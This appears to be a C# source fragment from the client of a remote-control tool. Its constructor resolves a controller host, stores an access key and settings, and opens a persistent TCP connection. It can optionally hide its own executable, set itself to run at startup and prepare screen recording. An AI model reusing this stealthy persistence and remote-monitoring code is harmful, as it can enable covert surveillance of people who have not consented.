public MainService(StartParameterEx startParameter)
        {
            while (true) //第一次解析域名,直至解析成功
            {
                var ip = IPHelper.GetHostByName(startParameter.Host);
                if (ip != null)
                {
                    AppConfiguartion.ServerIPEndPoint = new IPEndPoint(IPAddress.Parse(ip), startParameter.Port);
                    break;
                }

                Console.WriteLine(startParameter.Host ?? "address analysis is null");

                Thread.Sleep(5000);
            }
            AppConfiguartion.HostAddress        = startParameter.Host;
            AppConfiguartion.HostPort           = startParameter.Port;
            AppConfiguartion.AccessKey          = startParameter.AccessKey;
            AppConfiguartion.DefaultRemarkInfo  = startParameter.RemarkInformation;
            AppConfiguartion.DefaultGroupName   = startParameter.GroupName;
            AppConfiguartion.IsAutoRun          = startParameter.IsAutoStart;
            AppConfiguartion.IsHideExcutingFile = startParameter.IsHide;
            AppConfiguartion.RunTime            = startParameter.RunTimeText;
            AppConfiguartion.Version            = startParameter.ServiceVersion;
            AppConfiguartion.CenterServiceMode  = startParameter.SessionMode == 1 ? true : false;
            AppConfiguartion.IdentifyId         = startParameter.UniqueId;

            if (AppConfiguartion.IsHideExcutingFile)
            {
                SystemSessionHelper.SetExecutingFileHide(true);
            }

            if (AppConfiguartion.IsAutoRun)
            {
                SystemSessionHelper.SetAutoRun(true);
            }

            _screen_record_height   = AppConfiguartion.ScreenRecordHeight;
            _screen_record_width    = AppConfiguartion.ScreenRecordWidth;
            _screen_record_spantime = AppConfiguartion.ScreenRecordSpanTime;

            //创建通讯接口实例
            var clientConfig = new TcpSocketSaeaClientConfiguration();

            if (!AppConfiguartion.CenterServiceMode)
            {
                //服务版配置
                clientConfig.AppKeepAlive = true;
                clientConfig.KeepAlive    = false;
            }
            else
            {
                //中间服务器版服务端配置
                clientConfig.AppKeepAlive = false;
                clientConfig.KeepAlive    = true;
            }
            clientConfig.KeepAliveInterval          = 5000;
            clientConfig.KeepAliveSpanTime          = 1000;
            clientConfig.CompressTransferFromPacket = false;

            _clientAgent = TcpSocketsFactory.CreateClientAgent(TcpSocketSaeaSessionType.Packet, clientConfig, Notify);
            ConnectToServer();
        }
 private void SetSystemSession(TcpSocketSaeaSession session)
 {
     SystemSessionHelper.SetSessionStatus(GetMessage(session)[0]);
 }